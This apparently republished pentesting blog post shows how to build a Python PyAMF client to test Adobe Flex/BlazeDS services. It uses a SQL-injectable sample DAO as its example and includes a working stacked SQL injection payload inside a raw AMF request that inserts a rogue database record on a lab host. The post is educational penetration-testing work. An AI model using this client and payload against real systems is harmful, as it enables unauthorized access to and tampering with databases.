Pentesting Adobe Flex Applications With A Custom AMF Client

Source: Internet
Author: User

At GDS, we 've seen an increase over the past few months in the number of applications using Adobe Flex at the presentation layer. vulnerabilities in Flash aside (I. e ., dowd [PDF]), this technology often presents an obstacle for security testers, especially if the application uses ActionScript Message Format (AMF) to send data into ss the wire. the AMF specification [PDF], has been implemented in various versions, including Java, Python, PHP, and Ruby. while there are tools out there like Burp and deblze which let you manipulate AMF requests, there are certain scenarios where you might want to build your own custom client for testing with AMF. being a Python fan myself, let's walk through the process of using thePyAMF library to quickly write a custom AMF test client.

Adobe provides several turnkey BlazeDS applications to get developers started with Flex, allowing them to use existing Java backend application logic (courtesy BlazeDS ). after downloading the examples, I poked around some of the code and immediately stumbled into a textbook SQL injection vulnerability in theEmployeDAO. java class (code snippet below ). this vulnerable application will serve as a perfect example for my custom test client.

public class EmployeeDAO {..snip..public List findEmployeesByName(String name) throws DAOException     List list = new ArrayList();     Connection c = null;     try {         c = ConnectionHelper.getConnection();         Statement s = c.createStatement();         ResultSet rs = s.executeQuery("SELECT * FROM employee WHERE            first_name LIKE '%" + name + "%' OR             last_name LIKE '%" + name + "%' ORDER BY last_name");        Employee employee;         while (rs.next())         ..snip.. 

To exploit this, we will write a client that can make requests to the remoting destination. In Python, we construct an AMF request like so using thepyamf. flex. messaging. RemotingMessage class:

request = RemotingMessage(operation="findEmployeesByName",                           destination="runtime-employee-ro",                           messageID=str(uuid.uuid4()).upper(),                          body=['Marcin'],                          clientId=None,                          headers={'DSId': str(uuid.uuid4()).upper(),                                   'DSEndpoint': 'my-amf',},                         )

Then, we wrap our request in an AMF envelope:

envelope = pyamf.remoting.Envelope(amfVersion=3)envelope["/%d" % 1] = pyamf.remoting.Request(u'null', [request])

Afterwards, we need to encode our Request Envelope in AMF usingPyamf. remoting. encode ().

message = pyamf.remoting.encode(envelope)

UsingHttplib, We can send and receive HTTP requests with Python, containing our AMF encoded request in the body. we also set the Content-Type to "application/x-amf", to specify the request is encoded in AMF, versus say, application/x-www-form-urlencoded.

conn = httplib.HTTPConnection(hostname, port)conn.request('POST', path, message.getvalue(),              headers={'Content-Type': 'application/x-amf'})

Parse ss the wire, this request looks like:

POST /samples/messagebroker/amf HTTP/1.1Host: 172.16.247.130:8400Accept-Encoding: identityContent-Type: application/x-amfContent-Length: 312\x00\x03\x00\x00\x00\x01\x00\x04null\x00\x02/1\x00\x00\x00\x00\n\x00\x00\x00\x01\x11\n\x81\x13Oflex.messaging.messages.RemotingMessage\tbody\x11clientId\x17destination\x0fheaders\x13messageId\x13operation\rsource\x15timeToLive\x13timestamp\t\x03\x01\x06\rMarcin\x01\x06'runtime-employee-ro\n\x0b\x01\tDSId\x06I7F172AA9-9172-4EE4-A6FA-A09A5C961196\x15DSEndpoint\x06\rmy-amf\x01\x06ID246131C-F453-47C5-A55C-A6EE822D7BF0\x06'findEmployeesByName\x01\x01\x01

Following, retrieve the response from our connection object, and usePyamf. remoting. decode ()To decode and print the content.

response = conn.getresponse()content = response.read()content = pyamf.remoting.decode(content)print content# -----------<Envelope amfVersion=3> (u'/1', <Request target=u'null'>[<RemotingMessage  body=[u'Marcin']  source=None timestamp=None destination=u'runtime-employee-ro'  clientId=None headers={'DSId': u'7F172AA9-9172-4EE4-A6FA-A09A5C961196',  'DSEndpoint': u'my-amf'} timeToLive=None messageId=u'D246131C-F453-47C5- A55C-A6EE822D7BF0' operation=u'findEmployeesByName' />]</Request>)</Envelope>

QueryingFindEmployeesByNameMethod and injecting a single quote causesJava. SQL. SQLExceptionError to be thrown.

faultString=u'flex.samples.DAOException : java.sql.SQLException: Unexpected token: % in statement [%]'

To exploit this, perform a SQL injection like any other; I'll insert a record of my own into the database:

POST /samples/messagebroker/amf HTTP/1.1Host: 172.16.247.130:8400Accept-Encoding: identityContent-Length: 412Content-Type: application/x-amf\x00\x03\x00\x00\x00\x01\x00\x04null\x00\x02/1\x00\x00\x00\x00\n\x00\x00\x00\x01\x11\n\x81\x13Oflex.messaging.messages.RemotingMessage\tbody\x11clientId\x17destination\x0fheaders\x13messageId\x13operation\rsource\x15timeToLive\x13timestamp\t\x03\x01\x06\x81S\\';INSERT INTO employee (first_name, last_name, title) VALUES ('Marcin', 'Wielgoszewski', 'Rogue CEO');--\x01\x06'runtime-employee-ro\n\x0b\x01\tDSId\x06I359E2429-9CD6-423C-AF3D-4BD3DC4E40F3\x15DSEndpoint\x06\rmy-amf\x01\x06IBE9315A6-A7F6-42CE-A338-23D703573207\x06'findEmployeesByName\x01\x01\x01

The response did not contain anything in the body, which usually is a good indicator the SQL had processed without error. CallingFindEmployeesByNameMethod once more,MarcinAs a parameter value, returns the following data:

<flex.messaging.io.ArrayCollection [{'employeeId': 13, 'firstName': u'Marcin', 'title': u'Rogue CEO', 'lastName': u'Wielgoszewski', 'company': None, 'phone': None, 'email': None}]>

In summary, this blog post aims to demonstrate how pen testers can leverage the PyAMF library to quickly write a custom AMF test client in Python. as an interesting side note, the only method called from the client-side Flex code in the sample application isGetEmployees(With no parameters). Only after reviewing the code wocould one see what methods are actually available to call. So even thoughFindEmployeesByNameMethod was not used by the Flex application, it is vulnerable to SQL injection!

During an assessment, it's critical that you identify all the service and method endpoints called by the application, and to also review the source code for potentially hidden methods. if you're operating from a strictly BlackBox perspective, you shoshould always decompile the SWF using a tool like SWFScan, and grepRemoteObjectAndAMFChannelAs a relatively good way to identify remoting methods. the DeBlaze tool can also performs remote service and method enumeration, which can help you identify other services and methods that aren't exposed in the application SWF.

In my next post, I'll show how you can reverse and create custom objects using Python and PyAMF for advanced penetration testing of Adobe Flex applications. thanks to Adobe for providing a nice sample BlazeDS application, complete with SQL injection :)

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.